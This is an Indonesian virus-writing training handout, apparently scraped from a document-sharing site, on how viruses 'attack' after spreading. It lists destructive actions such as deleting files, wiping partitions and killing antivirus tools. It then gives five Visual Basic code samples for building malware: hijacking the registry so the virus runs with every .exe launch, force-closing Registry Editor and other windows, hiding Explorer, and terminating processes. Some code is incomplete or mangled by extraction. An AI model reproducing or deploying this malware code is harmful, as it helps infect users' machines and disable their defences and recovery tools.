• Tidak ada hasil yang ditemukan

Page 29. Serangan. Pelatihan Pembuatan Virus. Serangan The Black VB

N/A
N/A
Protected

Academic year: 2021

Membagikan "Page 29. Serangan. Pelatihan Pembuatan Virus. Serangan The Black VB"

Copied!
6
0
0

Teks penuh

(1)

Serangan

Setelah virus tersebut melakukan penggandaan ke system, mengubah registry.

baru virus tersebut melakukan penyerangan (pengerusakan). Serangan virus ini yang

sangat ditakuti oleh pengguna computer. Tetapi jika virus tersebut hanya melakukan

penyebaran itu bukan masalah karena tidak melakukan pengerusakan.

Bentuk-bentuk serangan (pengerusakan) yang dilakukan virus:

1. Menghapus, memindahkan, menyembunyikan dan mengerusak isi file

2. Infeksi terhadap file, biasanya virus melakukan ini untuk melindungi dirinya

dengan cara menempel dirinya pada file yang ingin di infeksi. Biasanya file

*.exe, *.com, *.scr , *.doc, *.xls.

3. Penyembunyian partisi, memformat partisi dan menghapus partisi, bagian

pengerusakan yang sangat merugikan orang lain.

4. Melakukan komunikasi yang terhadap hardware untuk mengacaukan kinerja

suatu hardware sehingga memungkinkan terjadi pengerusakan terhadap

hardware tersebut. Biasanya yang menjadi sasaran adalah RAM.

5. Mematikan aplikasi-aplikasi tertentu., hal ini sangat membuat kesal orang yang

terserang, karena aplikasi tersebut tidak dapat dijalankan karena aplikasi

tersebut telah dimatikan oleh virus. Biasanya aplikasi yang dimatikan tersebut

adalah aplikasi yang berhubungan dengan registry, process manager dan

antivirus.

Bentuk-bentuk serangan diatas adalah bentuk serangan yang paling sering

digunakan oleh virus untuk melakukan pengerusakan atau untuk melindungi dirinya

dari berbagai macam kemungkinan yang dapat membinasakan dirinya.

Menghapus, memindahkan dan menyembunyikan file merupakan hal yang

sangat sering digunakan oleh virus. Bahkan hampir semua virus menggunakan tehnik

ini untuk melakukan pengerusakan. Sangat merugikan orang lain adalah menghapus

file dan mengerusak isi file.

Infeksi terhadap file exe, com, dan scr sangat jarang ditemukan. Karena tehnik

ini cukup sulit dilakukan. Sehingga jarang sekali virus yang menggunakan tehnik ini.

Contoh virus yang menggunakan tehnik ini adalah ITZ.

Melakukan komunikasi terhadap hardware juga sangat jarang. Misalnya

mengacaukan alamat Port yang ada. Kalau sederhananya mengacau fungsi keyboard

dan mouse. Kalau pada keyboard biasanya akan melakukan perubahan kode ascii

sehingga apa ditampilkan tidak sesuai dengan diketikan. Sedangkan pada mouse

adalah melakukan pergerakan cursor mouse secara otomatis tanpa dikendalikan dan

melakukan fungsi pengeclick secara acak.

Mematikan aplikasi-aplikasi tertentu. Saat ini hampir semua jenis virus memiliki

kemampuan ini untuk melindungi dirinya sehingga sulit bagi antivirus atau program

sejenis untuk berjalan, karena jika aplikasi tersebut berjalan maka sang virus akan

langsung mematikan aplikasi tersebut.

(2)

Berikut ini adalah beberapa kode yang dapat digunakan virus untuk melakukan

penyerangan.

Kode Penyerangan1:

Siapkan satu buah form

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _

ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _

ByVal cbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _

As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long

Private Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _

ByVal dwFileAttributes As Long) As Long Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1 REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum

Dim lokasi As String Dim namafile As String Private Sub Form_Load()

With App

lokasi = .Path & "\"

namafile = .EXEName & ".exe"

End With

CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _

REG_SZ, "", Chr(&H22) & lokasi & namafile & Chr(&H22) & " " & Chr(&H22) & _ "%1" & Chr(&H22) & " %*"

'Jika parameter pemanggilan virus tidak sama dengan kosong

If Command$ <> "" Then

If InStr(1, Command$, "Setup") <> 0 _ Or InStr(1, Command$, "winzip") <> 0 _ Or InStr(1, Command$, "Anti") <> 0 _ Or InStr(1, Command$, "virus") <> 0 _

(3)

Or InStr(1, Command$, "Regedit") <> 0 _ Or InStr(1, Command$, "word") <> 0 Then Shell Command$, vbNormalFocus DoEvents

End If

End If

'jalankan sekali saja

If App.PrevInstance Then End

End Sub

'Create or Set String Value Registry

Private Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next

Dim ret As Long

RegCreateKey hKey, Subkey, ret

CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))

RegCloseKey ret

End Function

Kode penyerangan2:

Siapkan satu buah form dan satu buah timer dengan Interval=100.

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)

As Long

Private Const WM_CLOSE = &H10

Private Sub Timer1_Timer()

Dim FW As Long

FW = FindWindow(vbNullString, "Registry Editor") If FW Then SendMessage FW, WM_CLOSE, 0, 0

End Sub

Kode Penyerangan3:

Siapkan satu buah form dan satu buah timer dengan Interval=100.

Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _

lParam As Any) As Long

Private Const WM_CLOSE = &H10

(4)

Private Sub Timer1_Timer()

Dim FW As Long

FW = GetForegroundWindow If FW Then

Dim buff As String * 255

SendMessage FW, WM_GETTEXT, 255, ByVal buff buff = Left$(buff, InStr(1, buff, Chr$(0)) - 1) If InStr(1, UCase(buff), "REG") <> 0 _

Or InStr(1, UCase(buff), "WIN") <> 0 Then

SendMessage FW, WM_CLOSE, 0, 0

End If

End If End Sub

Kode Penyerangan4:

Siapkan satu buah form dan satu buah timer dengan Interval=100.

Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _

ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _

lParam As Any) As Long

Private Const WM_GETTEXT = &HD

Private Const SW_HIDE = 0

Private Sub Timer1_Timer() Dim FW1 As Long Dim FW2 As Long FW1 = FindWindow("ExploreWClass", vbNullString) FW2 = FindWindow("CabinetWClass", vbNullString) If FW1 <> 0 Or FW2 <> 0 Then

Dim cap1 As String * 255 Dim cap2 As String * 255

SendMessage FW1, WM_GETTEXT, 255, ByVal cap1 SendMessage FW2, WM_GETTEXT, 255, ByVal cap2

cap1 = Left$(cap1, InStr(1, cap1, Chr$(0)) - 1) cap2 = Left$(cap2, InStr(1, cap2, Chr$(0)) - 1) If InStr(1, UCase(cap1), "WINDOWS") Then

ShowWindow FW1, SW_HIDE End If

If InStr(1, UCase(cap2), "WINDOWS") Then

ShowWindow FW2, SW_HIDE End If

End If

(5)

End Sub

Kode Penyerangan5:

Siapkan satu buah form, satu buah timer dengan Interval=100 dan satu buah module.

Ketikan pada form1:

Private Sub

Timer1_Timer()

TaskProses

End Sub

Ketikan pada module:

Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

Public Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long

Public Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)

Public Declare Function TerminateProcess Lib "kernel32" _ (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Declare Function OpenProcess Lib "kernel32" _

(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _

ByVal dwProcessId As Long) As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal

nCmdShow As Long) As Long

Public Declare Function LockWindowUpdate Lib "user32" _ (ByVal hwndLock As Long) As Long

Public Const TH32CS_SNAPHEAPLIST = &H1

Public Const TH32CS_SNAPPROCESS = &H2

Public Const TH32CS_SNAPTHREAD = &H4

Public Const TH32CS_SNAPMODULE = &H8

Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS _

Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)

Public Const TH32CS_INHERIT = &H80000000

Public Const MAX_PATH As Integer = 260

Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long

(6)

End Type

Public Sub TaskProses()

Dim hSnapShot As Long, uProcess As PROCESSENTRY32, R As Long

Dim hProcess As Long, NamaFile As String

hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&) uProcess.dwSize = Len(uProcess)

R = Process32First(hSnapShot, uProcess) Do While R

NamaFile = uProcess.szExeFile

NamaFile = Left$(NamaFile, InStr(1, NamaFile, Chr$(0)) - 1) If LCase(NamaFile) = "notepad.exe" Then

CloseHandle hSnapShot

hProcess = OpenProcess(&H1F0FFF, False, uProcess.th32ProcessID) x = TerminateProcess(hProcess, 0) Exit Do End If R = Process32Next(hSnapShot, uProcess) Loop CloseHandle hSnapShot End Sub

Referensi

Dokumen terkait